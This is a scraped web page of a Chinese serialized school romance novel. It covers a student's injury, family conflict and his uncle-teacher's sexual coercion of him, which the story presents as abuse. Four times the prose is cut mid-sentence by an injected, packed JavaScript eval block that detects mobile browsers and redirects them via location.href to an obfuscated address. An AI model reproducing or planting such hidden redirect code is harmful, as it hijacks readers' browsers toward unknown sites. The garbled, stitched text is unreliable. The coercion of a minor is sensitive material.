李斯年的母亲郑秀和孙家娟从小就是邻居、玩伴,二人都是在孝县出生、长大,靠着勤奋努力来到大城市定居生活的。 孙家娟结婚生子都比郑秀晚两年,当年梁芷出生时,郑秀抱着刚两岁的李斯年去医院探望,二人谈笑间还半开玩笑的给俩孩子定下过娃娃亲。 然而岁月无情,孙家娟因病瘫痪后,丈夫有了新欢,离她而去,留下母女俩相依为命,郑秀也在几年后因车祸意外身亡。 李斯年这么些年,常去探望孙家娟和梁芷,力所能及的帮帮忙。 也只有在孙家娟面前,李斯年才会感觉到母亲存在过的痕迹,还有人和他一样,会对郑秀的离开感到惋惜、时时刻刻惦念着她。 木芙蓉是郑秀最喜欢的花,李斯年要上学,故年年忌日之前,孙家娟都会专程回孝县带些回来,让李斯年捎去母亲墓前。 李斯年是吃过午饭才往梁芷家去的,孙家娟毕竟做饭不便,老让她准备饭菜也累,他买了些新鲜水果带去,小坐了片刻,便抱着大束木芙蓉离开。 巷口大路边不便停车,李斯年从巷口出来,再左转走到前面的十字路口,才看到江叔的车。 他将木芙蓉小心放到后备箱,正打开后座车门,目光越过对侧的车窗,突然看到一个熟悉的身影。 车窗对着的路尽头,大片空地上是一个临时垃圾中转站,因为天热散发气味、招蝇虫没少被周围居民包括学校老师投诉。 今年上半年终于优化改造,将生活厨余类垃圾的处理挪到了另一处郊区,这里留作各类可回收垃圾的处理。 “江叔,等我一下。”李斯年说完,关上车门,往垃圾中转站走。 简易的厂房外是已经被大致分类、堆积如山的金属材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401222|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质垃圾,包括瓶瓶罐罐和各种断了的椅背、桌角、自行车飞轮车架等,等着被丢进压缩机,压成更小的体积,方便运输。 整改之后,这里的确不会像之前那样向外散发出剧烈恶臭,但中转站没空调,只有一个聊胜于无的排风扇,走近后,潮热混杂着各种难闻的气味还是让李斯年忍不住皱起眉头。 他来到压缩机旁,看到面前那个高瘦身躯一直重复着机械性的弯腰、拿取、丢放的动作。 汗打湿了他的衣服胸背,头发也一缕缕耷下,右手上裹缠的纱布早已污浊不堪。 “许之。”李斯年叫他。 许之身影一顿,扭过头,向来波澜不惊的脸色难得闪过一丝讶异,但很快便恢复了淡漠。 “你怎么在这?”许之眉眼一沉,“跟踪我?” “纯属巧合,我真的只是路过。”李斯年摊手,看向他手边那些边缘粗糙、棱角分明的金属物,恍然:“你的手就是被这些东西弄伤的?” 许之默认。 “没有劳保手套吗?” “临时工不发。” “你为什么要在这打工——” “李斯年!” 许之很少这样叫他的全名,李斯年忽然觉得,他的咬字方式用来叫自己的名字还挺好听。 许之皱着眉头,满脸不耐烦,“你要当十万个为什么,去别处,别来烦我。” “这里的东西这么脏,被划破得打破伤风。”李斯年说完,抓着他就准备往外走。 “你是不是有什么圣母病?天天管别人的事!”许之猛地甩开他的手,回去机器旁。 “你知不知道,破伤风会死人的?你叛逆也要有点限度吧!”李斯年绕到他面前,又是那一双明亮认真的眸子,执拗而毫不妥协的看向他。 许之看着这双眼睛,耳边忽然响起矮胖女人的声音—— “只是钉子扎进脚里,又不会死人的!” 李斯年又开口,句句说进了许之的心里:“你还有心思打工赚钱,肯定不想就这么死了吧?” 这人怎么这样聪明又敏锐?许之没办法再说出拒绝的话。 其实李斯年也不知道为什么,他在面对许之时,总能有比平时多一些的耐心。 或许是这人看上去实在是太不会照顾自己了。 明明能考全省第一的脑子肯定不蠢笨,但却像是缺乏某些常识似的。 那种新闻报道里那种吃了头孢还喝酒的,十有八九就是许之这种人。 他重新抓起许之的手腕:“走,去医院吧。” 许之跟在李斯年身后,走向江叔的车,李斯年高他半个头,阳光迎面而来。 从许之的角度,正好看到李斯年被勾勒出金色边缘的发丝与耳廓。 李斯年总是这样,像是有无穷无尽的生命力般,毫不自知地感染着周围的一切,如太阳般热烈的汹涌澎湃。 无论是厌恶一个人、还是关心一个人,都是如此直接明了、坦坦荡荡。 李斯年带许之到医院打了针,还顺便换了药,幸好伤口没有感染发炎。 回到家时,后备箱的木芙蓉都有点热蔫吧了,李斯年赶紧抱去厨房给根茎喂水,还找了点营养剂撒进去。 简单吃完晚饭,许之起身,李斯年看到他牛仔裤袋里露半截的红蓝包装,忍不住说:“梁芷每天都会给小黑小白准备吃的。” 许之:? 李斯年指了指猫条:“有钱买这个,不如去食堂喂喂自己,那两只猫都快比你胖了。” 11. 梦境 国庆假期很快就结束了。 上学那天的早自习刚开始,各科课代表就忙着张罗收作业,每组最后一排同学从后往前收。 许之站起身,将自己的作业拢在手里,走到李斯年桌边。 “化学。”他说。 李斯年指着隔壁桌正奋笔疾书的方行舟:“你先收前面的,他在抄大题。” 说着,李斯年看向他右手还裹着纱布,白净崭新,看来这几天有自己好好换药。 见他手里那叠卷子写的满满当当一张不落,又问:“你是左撇子?” 许之的右手是国庆第一天就受伤了的,这几天不可能握笔写字,他撩起眼皮看了李斯年一眼,漫不经心道:“左右手都能写字。” 说完就继续往前收卷子了。 人们都说左撇子聪明,那左右利手岂不是聪明翻倍?李斯年心里想着,余光扫到一个臃肿的身影从窗外闪过,侧头冲方行舟低声催促:“抄完没,老董头来了!” 方行舟快速点头,手下一顿飞龙舞凤,终于圆满结束,抬头看去,讲台却是空的,李斯年脸朝向门外,不知道在想什么。 “老董头人呢?” 李斯年声音闷沉:“没进教室,就是把许之叫走了。” - 上午,李斯年照常睡觉,却睡得不如往常安稳,迷迷糊糊做了个梦,梦到许之回教室来收拾书包和书本。 “还没到放学时间,你去哪啊?”李斯年问。 许之没说话,直到东西都收拾好,桌面干净得像是这里从未坐过人一般,将书包往肩头一挂,抬眼看李斯年,竟然笑了笑。 笑的很轻、很柔和,像是春风拂面、又转瞬即逝。 他说:“我被退学了。” 李斯年想说点什么,却感觉喉咙被棉花堵住似的,怎么都发不出声音,身体也无法动弹,眼睁睁看着许之走到门口。 门外白光一片,瞧不清走廊,许之就站在门口,身形消瘦,像是下一秒就要被光吞没的飞蛾。 他头也没回,只有声音传来: “这不就是你想要的么?把我赶走。” 李斯年猛然惊醒。 花了好一会才分清现实与梦境。 这应该已经是上午第三节课了,英语老师背身写着板书,空调兢兢业业往外吹着泛白的凉气。 而李斯年却不知为何出了一后背的汗,校服黏在皮肤上很不舒服,一颗心咚咚咚跳,像是刚跑完八百米似的,直跳得他脑袋疼。 转头看,许之的座位是空的,人还没回来。 好在桌上属于他的书本还在,不像梦里,被收拾的干干净净。 老董头把人叫去这么久,究竟是什么事,真要把许之劝退或开除吗? 李斯年心里有些不安,看了好几次表,终于等到了下课铃,起身准备去化学办公室看看情况,却被体育老师季老师在门口拦住了。 季老师兼任育德篮球队的助理教练,说要李斯年现在去领今年的新队服,然后参加训练赛。 “不用了吧,我就一替补。” “斯年同学,你不能这么想,我知道做替补的心里多少会有点憋屈,但还是要积极参加训练的,关键时刻,很可能靠你力挽狂澜哦!” 李斯年听方行舟吐槽过这个新来的体育老师,如今一见,果然有种清新脱俗的纯真和过人的理解力。 他误以为李斯年这话是在因位居替补而闹脾气。 也是,正常来说,每个入选篮球队的人,都渴望着上场挥洒汗水、夺得分数。 但李斯年偏偏是个例外,他好胜心本就不多,基本全用在了学习上,篮球对他而言是个娱乐为主的事情,输赢不那么重要。 他懒得和季老师解释,脚下不停,往楼梯方向走:“七个替补呢,怎么都轮不到我上场的,回头我抽空去领个队服就行啊。” 季老师不依不饶的追上来,伸手就揽住了李斯年的肩。 “你条件这么好,怎么没可能上场呢?人啊,要有梦想!” 李斯年失笑:“可我下节课还要上课呢……” “我昨天就跟你们班主任打过招呼了,没事!”季老师比李斯年还高点,体育学校毕业的,一身腱子肉。 李斯年被他扣住肩膀,轻易挣脱不开,又不能真的撕破脸,只能就这么跟他去了体育馆。 李斯年领了自己尺码的队服,换好出来,育德高中和庆城高中两个篮球队的主力队员已经开始打训练赛了。 两边的替补都在旁边做拉伸,李斯年最近有一阵子没打球了,感觉腿脚都有点硬,也就跟着他们做了会儿动作。 中场休息时,替补队友依次上场。 育德高中的七个替补里,除了李斯年之外,其他人平时训练都挺积极的,加上主力队员,十几个人能搭配出好几套不同的打法风格。 李斯年是最后轮替上场的,主教练也知道他心不在此,只是让他热身练手,时长给的不多。 是故除了钱霆甩了几个不明显的眼刀和传球不太积极之外,两队倒也打的有来有回,没出什么岔子。 训练赛结束,一身臭汗,李斯年在更衣室冲了个凉,打开置物柜换衣服,看到手机屏幕正好由亮转熄,是有个来电刚挂断了。 解锁一看,足足有十几通未接来电和七八条短信,最初的一通电话是江叔打来的,剩下的都来自李宇—— [我和许阿姨回来了,贺亮带庆城高中的篮球队来江城打比赛,中午正好聚一聚,我让老江去接你和许之。] [老江说只接到许之,你人在哪,电话也打不通,怎么回事?] [老江先送许之了,你自己过来,地址是xxxxxx。] [怎么还没到?] [接电话。] [接电话!!] [李斯年,你是觉得自己翅膀硬了,越发肆意妄为了!一大桌子人等着你,这就是我教出来的儿子?!] [你他妈的这么有骨气,今晚也不用回家了!] …… 李斯年觉得自己简直能透过这一条条信息看到李宇从装作慈爱到气急败坏的那张脸,突然觉得有点好笑。 这样的父子关系很好笑。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401223|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯年甚至什么都不用说,李宇就能和脑补出来的儿子大发脾气,他在自己眼里不是个东西,自己在他那里的观感恐怕也好不到哪里去。 既然这么讨厌,干嘛当初还要生下他? 又为什么在郑秀还在时,对她做那些看起来恩爱又情深的举动,营造出温馨和谐氛围?让李斯年误以为自己真的拥有美满的家庭。 然后一朝之间亲手将这些推塌。 李斯年不耐的甩了甩头,水珠飞溅,他一条短信也没回,完全没有解释的欲望。 穿好衣服,蹲下绑鞋带,忽然想起什么,又拿起手机。 许之也去饭局了? 李宇和许茜有心思这时候组饭局,难道是许之被育德学校几个家长联名抵制的事情还没传到二人耳中? 李斯年盯着短信里的地址看了半晌,长按复制,转到打车软件。 短信是12点到12点30之间发的,李斯年到地方时已经是13点20了,他估摸着这饭差不多该吃完了,于是在酒店大门斜侧方一家奶茶店点了杯喝的,坐在高脚凳上等。 果然,没等多久,就看到李宇和许茜出来了,后面跟着一个小麦色皮肤的男人,看起来精壮有力,应该就是李宇短信里提到的许贺亮,许茜的亲哥哥。 许之走在众人的最后面,他还是那副样子,低着头、默不作声,手垂在身边两侧,奈何那张脸实在是太惹眼了,所以不论他行为举止怎样低调,都叫人无法忽视。 李宇拍了拍许之的肩膀,笑容和蔼的说了几句话,李斯年看到这种官方又虚伪的笑就生理性反胃,撇过脸狠狠吸了两口奶茶。 等到再回头时,李宇和许茜已经先行离开了,许贺亮带着许之走向公交站,那里有一趟571路能到育德。 李斯年之所以大中午跑来这里,是被那个梦弄得有点莫名心烦,想直接找许之问老董头说什么了。 但此刻有其他人在许之旁边,他又缺席这顿饭在先,于是也不好再走上去。 这几天的天气都很闷,太阳被捂在层层叠叠的乌云后面,把将落未落的大雨蒸发成铺天盖地的潮热湿气。 李斯年满冰的奶茶还没喝到一半,就化完了冰。 许贺亮和许之站在站台前,二人间隔了些距离,许贺亮扭头说了句什么,但许之似乎没接茬。 随后他将手放在许之肩上,似乎是想要将许之扭转过来,面对自己。 这动作和刚才李宇做的差不多,但许之却条件反射一般,几乎是立刻就后退了两步,“啪”的一声挡掉了对方的手。 李斯年眉头一皱,从他的角度听不见他们在说什么,只能勉强看到二人侧脸的表情:许贺亮嘴角挂着松弛的笑意,许之却面如寒霜。 “车门即将关闭,请注意脚下。”二人身旁一辆到站公交车一边放广播、一边合拢车门。 在门即将关上的瞬间,许之毫无征兆地迈开腿,一个箭步跨了上去!许贺亮来不及跟上,被关在门外面。 李斯年不自觉间,已经将吸管咬得扁扁。 许之上得那辆公交车,不是回学校的571路。 12. 暗处 李斯年打开微信,往后翻找,自添加后就从未发过消息的许之的微信被顶到了非常末尾的地方。 他咬着吸管,敲出几个字:你要去哪? 许之消息回的还挺快:? SN:你现在坐的23路公交可不到育德。 “对方正在输入”一行字显示了好半天,李斯年还以为许之打了多少话呢,没想到发过来只是几个字。 许:你是变态? SN:??? 许:又跟踪我 这误会可大了,在垃圾中转站那次许之就怀疑自己在跟踪他,李斯年有点无奈,他要怎么解释自己真不是个变态啊。 SN:我上午临时被季老师拉去和庆城高中的篮球队打训练赛,结束后看手机才知道中午有饭局,但来晚了,就没进去。 一长串解释发过去,等了半天,许之那边似乎没打算再回复。 李斯年忍不住,又敲了句:董老师找你说什么了? 过了会,许之才回复,冷冰冰三个字:没什么。 得了,这是不想跟他好好聊了。 又一次热脸贴冷屁股的李斯年倒是没有像上次那么愤怒,他甚至发现自己似乎开始习惯许之这副德行,毕竟要真那么好剥,也不是洋葱了。 这样想着,李斯年将手机揣进兜里,溜达回学校。 - 接下来几天,许之都正常上下学,宛如什么事情都没发生。 这让李斯年越发搞不懂他被老董头叫去的那一个上午是怎么回事,如果不是重要的事情,何必要占用那么久的时间? 双城高校篮球赛初赛在即,训练的紧迫感也燃烧到了李斯年身上。 接下来的几天,每一个晚自习时间都要去体育馆,周六也安排的满满当当,半天战术剖析、半天对练,直到周日才给人休息了一天。 李斯年从前没有这样高强度持续训练过,只觉得浑身酸痛,在床上躺了整天,连饭都是让李糯糯帮忙端进卧室吃的。 周一大课间,所有高中组的参赛队员和其主教练都汇聚在育德体育馆内,举行抽签仪式。 仪式是对外开放的,因此也吸引来了不少旁观看热闹的学生。 替补无需上台,李斯年在白色短袖外套着队服,坐在电扇风能吹到的观众席。 几个同班同学进来看到他,都坐到他身边。 “真好啊……”右后侧传来羡慕的感叹,李斯年侧头看,是魏旬。 在许之转来之前,全年级理科成绩最好的除了李斯年就是魏旬,他个子不高、戴着一副厚度可观的眼镜,其貌不扬,属于丢人堆里就找不着的那种。 两年前,刚升高一时,李斯年就曾在篮球校队招募大会上见过他。 他是主动来填表想要申请进入篮球队的、李斯年是被体育老师从课上抓来的“千里马”。 魏旬身体素质和各项条件明显不达标,自然最后没能如愿。 见李斯年对他的话有反应,魏旬很快站起身,跨过一排椅子,坐到了李斯年旁边。 他扶了扶滑到鼻尖的眼镜,笑着说:“真羡慕你啊。” 李斯年投去疑惑的目光。 “能代表学校打球,多光荣,等到时候一上场,所有人的目光都会在你身上。” 李斯年幻想了一下他所说的情景,没觉得有多令人振奋愉悦,但他也并不想扫魏旬的兴,于是附和着点点头:“是啊。” 话题停在这里,二人陷入沉默,但李斯年没觉得尴尬,因为他从来和魏旬都聊不到一块,同班三年,说话次数屈指可数。 魏旬性格循规蹈矩到近乎古板,讲起话来总有点像是在念书面语言,而且一旦开口就滔滔不绝,李斯年听着都觉得累。 倒是魏旬因为冷场而有些浑身不自在,他眼珠子骨碌碌转着,想找话题,忽然看到对面观众席侧门走进来一个人,顿时眼睛一亮。 “诶,你听说了许之同学的事没?”魏旬声音压得低低的,有种近乎猥琐讲小话的感觉。 李斯年眉头轻皱:“什么事?” 魏旬自觉找到了新话题,看起来有点开心:“他捅了老师,被庆城高中退学的事。” 李斯年淡淡回道:“听说过。” 魏旬对他的反应有些失望,抿了抿嘴,又接着说:“那你知不知道,他捅的那个老师,这次篮球比赛也来育德了?” 话说完,他满意的见到李斯年波澜不惊的脸上出现了惊讶神色。 “上周我去办公室送作业,听到董老师正和许之谈心呢,叫他就算再见到对方,也不能再冲动行事,要全力准备高考什么的。”魏旬说。 李斯年恍然,原来那个上午,老董头叫许之去,是说这些。 他抬头看去,许之今天穿着一件黑色短袖,李斯年和魏旬所在的观众席距离侧门有点远,只见许之进体育馆后,驻足左右看了两眼,随后向左转,绕到了观众席后面。 李斯年心觉奇怪,那后面是一面墙,除了尽头处闲置已久的杂物间之外,什么都没有。 许之去那做什么? 魏旬没察觉到李斯年的分神,扶了扶眼镜,继续一本正经地说:“……我看你和他算说的上话,我觉得嘛,大家毕竟同学一场,你有机会可以劝劝他呀,还是高考比较重要,过去事情,就让它过去。” 李斯年一个字都没听进去,他的心思全跟着许之跑走了。 “好,那什么……我还有点事,先走了。”李斯年敷衍了魏旬一句,站起身,快步走下观众席,往杂物间走去。 倾斜向下的观众席后是一条窄道,灯早就坏了,但因为这里几乎没人会来,所以也没有修。 唯一提供光亮的,是尽头墙面上高两米多的一扇方形小窗,有只蜘蛛正在角落兢兢业业地结网。 李斯年轻手轻脚,贴着墙,靠近杂物间。 铁门已经因为生锈而关不严实了,平时只是用锁链象征性的栓一下,此刻锁链垂在门框的卡扣上,明显是有人开门进去了。 外面的抽签还在继续,时不时发出热闹声响,李斯年挪动脚步,来到门斜对面堆放篮球、网架和废弃板凳的角落,矮身藏在其后。 这个角度,正好能从门的缝隙处看到屋内,里面站着两个人。 许之背靠废弃的置物架,他面前站着一个小麦色皮肤的男人。 是许贺亮。 李斯年心里疑窦丛生,还不待他有什么具体的猜想,许贺亮突然抬手一推,将许之按在了置物架上。 许之消瘦的背卡在两根铁架之间,闷哼了一声。 杂物间随之灰尘四起,有些零碎物件从架子上掉落下来,又恰好被外面一阵抽签的欢呼声遮盖。 “你逃不出我手掌心的,知道么?”许贺亮眯着眼,享受地看着许之吃痛隐忍的表情。 李斯年虽然还不明所以,但也能看出二人关系不善,他收紧拳头,正思索着是不是应该破门而入,忽然就看到许贺亮撩起了自己的衣服上摆。 只见他胸腹部赫然是四五处交错的、已经愈合的伤疤—— 许之捅伤的那个老师,竟然就是自己的亲舅舅?! 李斯年整个人惊呆在原地,心咚咚直跳,升起一种不真实感,这样的事情好像在电视剧里才会发生,如今却近在眼前。 “那时候你是不是觉得自己很英勇,拿着个小小的美工刀,就想把我杀了?”许贺亮轻蔑一笑,“还是太年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401224|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦。” 许之一直没有开口,从李斯年的角度,根本看不到他的表情。 只见他的右手背在身后,洁白的纱布被置物架上的积灰沾染,变得脏兮兮,露在纱布外的白皙手指轻轻摸索,抓到了一块破碎的玻璃片。 下一秒,许之就骤然抬手,向许贺亮脸前划去—— 但却被半空中拦了下来! 许贺亮死死钳住许之的手腕,小麦色的手臂青筋暴起,表情却还是不见紧张,反而更凑近到许之耳边,带着笑意:“还剩几个月就要高考了,你舍得坐牢吗?” 许之浑身一僵。 “上次是我大发善心,向警察说,你父爱缺失、母亲又常年不在身边,所以精神状态出了点问题,那天原本是要自残,我为了拦你,才会被误伤。但这次你要是再不乖,我可就连同上次一起实话实说咯。” “要说就全都说完。”许之咬着牙,一字一句回道:“说你是怎样利用老师职务之便猥亵学生的,说你是个骗婚的同性恋!” 许贺亮嗤笑一声:“这话你也好意思说,难道你就喜欢女生么?告诉你,在这方面我看人准得很,别想瞒过我。” 李斯年脑子一嗡,甚至不确定自己是不是真的听懂了。 他以为许之会立刻反驳,却没想到许之却只是沉默片刻,反问了句:“你有什么证据这么说?” 许贺亮哈哈大笑:“这种事,要什么证据,光是那些流言蜚语就能把你从脚埋到头顶!” “能埋我,也能埋你。” 许贺亮伸出手指摇了摇:“你是精神不稳定、有伤人前科的高中生,我是拿省奖的资深高校老师,你说大家会相信谁?之前你在警察局时,不都已经验证过了?” “我对你真是够好了,从来没人敢这样忤逆我。”许贺亮的声音逐渐柔和,甚至像是在哄人:“我说了,会等你自愿的那天,我是不是说到做到?这么多年,都忍着没碰你……” 许之听过无数遍这样的话,只觉得一股厌恶在胃里翻滚,他猛地挣脱了被钳制的右手,抬膝击向许贺亮腿间。 可惜对方早有防备,没伤到要害,只是后退了几步,二人稍稍拉开距离。 “哎呀,别这么大脾气啊。”许贺亮抬起双手,像是要示弱一般,但说出口的话仍然句句掐死了许之的命门:“要是大家知道你是同性恋,你还能高考吗?” 许之双手攥拳,裹着纱布的右手隐隐渗出红色来,他声音听起来孤独又决绝:“怎么不能?” “按照许茜的性子,若知道你是同性恋,明天就能给你送到隔壁矫正中心去,一年起步!” 许之无言以对,他说的没错,这是许茜会做出来的。 “我知道的,你这些年最想做的事情,就是考上大学,然后彻底摆脱过去。就让我爽一次,之后你是考去外地也好、出国也罢,我再也不管了!怎么样?这个交易是不是很划算?” 李斯年以为许之会立刻拒绝,没想到他却是沉默了。 许贺亮也不出言催促,脸上是胸有成竹的笑意,像是很确定许之会作何选择。 外面的抽签仪式似乎已经接近尾声,陆续有队员和围观的学生退场。 他们嬉嬉笑笑聊着天,说着中午吃什么、谁又暗恋谁了、怎么提高某科分数…… 无人在意这环绕在闲置杂物间内的恶魔低语。 李斯年手不自觉的攥紧,背后丝丝密密冒着冷汗,仿佛同时身处于两个不同的世界。 育德学校的体育馆是江城众多学校中最高大华丽的,观众席背靠三面顶天的整块高透玻璃,每周都有专人擦洗,让阳光能肆无忌惮的洒满整个球场。 但就算如此,也总有照不亮的地方。 13. 心疼 许贺亮手机响起,他看了一眼没接,对许之说:“明天给我答复。” 说完,就拉开门,扬长而去。 李斯年心神摇摆,他既愤怒地想要冲出去给这个道貌岸然的畜生狠狠来上一脚,耳边却又浮现出他那句“难道你就喜欢女生么?” 其实他对个人性取向没什么偏见,先前厌恶钱霆,也只是因为他油腻又强取豪夺的模样太下作。 可李斯年也说不清为什么,得知许之的性取向会对他有这么大的冲击力。 许贺亮走远后不久,许之也从杂物间出来了,他脚步很慢,低垂着头,不知在想些什么。 李斯年看着他背上满是在铁架上蹭的灰尘,突然感觉心像是被谁狠狠搓揉了一把,说不清什么滋味。 见许之走远了些,李斯年试图慢慢直起身子,然而他维持半蹲姿势太久,加上上周超强度训练还没恢复,腿脚早已酸痛到麻木。 在站起的过程中,血液陡然回流反而使双腿短暂的失去了控制,整个人随即猛地向着面前一堆破损的旧篮球栽去。 这声响不大也不小,惊动不了外面的人,却躲不过许之的耳朵,他浑身一抖,快速转过身来,双眼发红,带着几分惊惧,尽数落入了李斯年眼眸。 “我……”李斯年勉强站起身,话刚出口,就被大步回转的许之双手拽紧了领口。 “从什么时候开始听的?”他的声音低沉,带着寒意。 李斯年张了张嘴,没说出话来。 许之看到他的表情,已经了然,手骤然松开:“你要说出去么?” “什么?”李斯年一愣,立刻摇头,“怎么可能!” 许之看了他半晌,李斯年觉得自己简直要被看穿了。 只见他唇边浮现出自嘲的笑:“也是,一身正气的小少爷不屑于做这种事的。” 说完,竟然转身就要走。 李斯年有些着急,伸手就抓向他的腕间:“你会答应他吗?” 有一瞬间,李斯年还以为许之又会说那句曾说过很多次的:关你什么事! 然而沉默片刻,等来的却是一句:“我有得选吗?” 许之回过头,眼里有李斯年看不懂的东西,像是一个边缘破碎的黑洞,狂风卷着无数枯枝烂叶往里灌,但似乎永远不会被填满。 李斯年忽然想起那天夜晚,许之站在被阴影笼罩的楼梯上,问:反抗,有用吗? 自己给予的是肯定答复,但那时他并不知道,更早之前,许之已经身体力行的证明了这件事是否定答案。 自卫反击被说成是精神病自残,最后还落得一个捅老师的罪名被勒令退学,李斯年不敢想象许之的内心会有多绝望。 说出的话没人听、没人信,难道真的只能再次用一命换一命,才能终结这无休止的噩梦么? “总有办法的!”李斯年说。 说完,又怕被误会是不走心的敷衍,于是急迫地补充了一句:“我说真的,我帮你,我们一起想!” 小少爷的天真又冒了出来,许之心想,若是李斯年遇到这种事——尽管有人敢对他动手的可能性几乎为零——那么的确有办法,还会有不止一个办法。 但自己没有。 并非什么都能分清是非曲直,就好像这件事情,不是不能捅出去,而是如同许贺亮所说,捅出去之后呢? 尽管他们彼此手中都没有足够有力的证据,但很多事情就是这样不公平,所有人都会相信许贺亮,因为他的年纪、资历和身份。 后续调查根本不会展开,那些存在却被掩埋的真相不会被人看到。 不存在玉石俱焚,最终被毁掉的只有许之和他考大学的梦想而已。 李斯年的世界里不能受委屈,但许之却已经习惯了,除了他自己,没人会为他兜底。 哪怕他已经尽力装作低调、温顺、无害,但那些人和事却还是像斩不断烧不尽的藤蔓,要将他拖进暗无天日的沼泽之中。 “我不用你同情和施舍,这是我自己的路,我知道怎么走。”许之冷冷道。 大不了就当是被狗日了,眼睛一闭,再痛又会有多痛? 他甩开了李斯年的手,大步离开。 - 李斯年这人,只要心里装着事,脸上就容易露出端倪,李倾诺当晚拿着自己算不出来的数学大题去敲哥哥的门,一眼就看了出来。 李斯年讲完题后,她也不急着走,跟个小大人似的,一本正经的要做知心姐姐:“发生什么事了?我可是班上的心理委员,经常帮助同学们做疏导呢。” “小屁孩懂什么。” “你不说怎么知道我不懂,有个词你听过没,当局者迷!” 这话也有道理,李斯年沉思片刻,努力措辞:“就是,我的一个朋友。他的朋友遇到一些困难……很大的困难。他想帮,但是他朋友觉得他是在同情他,不愿意接受。” 李倾诺很通情达理,没有戳穿亲哥的无中生友,认真分析起来:“你朋友的朋友,是不是一个比较骄傲的人?” 李斯年回忆了一下许之的行为举止:“应该是吧,或者说比较孤傲?大概这样,没什么朋友,总是独来独往的。” “我知道了,这种人啊,自尊心肯定特别强,很介意别人可怜自己的!只要感觉到怜悯和同情,你朋友、啊不对。你朋友的朋友就肯定会觉得,你朋友在看扁他。” 李倾诺自认为分析的比较准确,没想到李斯年听完却摇头。 “诶?我哪里说的不对么?”李倾诺不甘心。 李斯年心中一团乱麻,拒绝正面回答,他把卷子往妹妹手里一塞,将人哄着推出了门:“多谢知心妹妹,改天请你下馆子!” 这天夜里,李斯年失眠了。 他觉得自己真的没有在同情许之。 同情,是在路上遇到被坏人欺负的陌生人时,想帮他去找警察、找律师,或者给他钱去包扎伤口、买点吃的。 可是……李斯年回想起体育馆狭窄昏暗的角落里,许之的模样。 他像是随时会破碎的蝴蝶,穿过一片荆棘丛林,漂亮的翅膀上满是刺痕,却仍然顽强地煽动着,只为飞去想去的地方。 李斯年虽然嘴上说要帮许之想办法,但其实在那个当下,理性的、富有逻辑的应对方式都没来得及出现在脑海中。 他只是想抱抱他。 - 第二天大课间,许贺亮的短信准时发到许之手机上:想好了吗? 同学们陆续去操场,教室很快就变得空荡荡,许之窝在座位里,将整张脸埋在臂弯间,双眼直直看着手机屏幕,直到它渐渐变暗、然后自动锁屏。 冷汗一点点浸透衣料,他知道自己必须做决定,一个别无选择的决定。 其实命运从来没有给过他选择的机会。 无论是私生子的身份、从幼儿园就开始的学校住宿生活,还是因为庆城高中没有宿舍而被许茜安排住进舅舅许贺亮家。 没有人在乎过他的想法,他总是不得不被动的接受安排。 无处可逃。 只剩高考这条路,是他能握在手中的。 又过了会,窗外广播的音乐变了调子,表示广播体操做完了。 楼道里嘈杂声由远到近,同学们在纷纷回来的路上,许之攥着手机的手用力而颤抖,关节微微发白。 回消息吧,让一切尘埃落定。 脑海内有个声音这样说着。 镰刀悬在半空最痛苦,让它快些落下吧,长痛不如短痛。 许之解锁屏幕,一个“好”字刚打出来,走廊上忽然响起剧烈的喧哗声。 他放在发送键上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401225|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指稍一停顿,随即听到有人诧异惊呼:“什么?李斯年说自己喜欢男的?!” 六班的教室在二楼,许之快步来到走廊时,围栏旁边已经挤满了看热闹的学生。 一些人看到许之,因为他捅老师的传闻而发怵,自觉往旁边避让,正好空出些位置,许之便径直走了过去。 走廊面对着大楼前面的一块空地,更多学生围在那里,只空出中间一块圆形的区域。 一个齐耳短发的女生手里拿着粉红色信封,双手还呈递出的姿势,但脸上却是一阵红一阵白,双眼瞪得浑圆。 “你要拒绝我也用不着编这种离谱的理由吧?!”短发女生讶异道。 李斯年环抱双手,笑得云淡风轻:“没骗你,我真的喜欢男的,你们这些女生啊,别老给我送情书了,真挺困扰的!” 